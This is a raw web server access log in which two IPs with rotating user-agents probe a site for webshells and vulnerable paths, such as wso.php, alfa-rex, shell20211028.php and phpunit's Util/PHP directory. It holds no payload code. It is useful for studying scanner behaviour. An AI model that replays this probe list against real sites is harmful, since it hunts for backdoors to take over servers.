[23/Apr/2025:03:18:34 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:34 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:18:35 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:35 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:35 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:35 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:35 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:35 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:18:36 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:36 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:36 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:36 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:36 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:37 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:37 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:37 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:37 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:37 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:37 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:37 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:37 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:18:37 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:37 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:37 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:38 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:38 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:38 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:38 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:38 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:18:39 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:39 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:39 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:39 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:40 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:18:40 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:40 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:40 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:18:41 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:41 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" 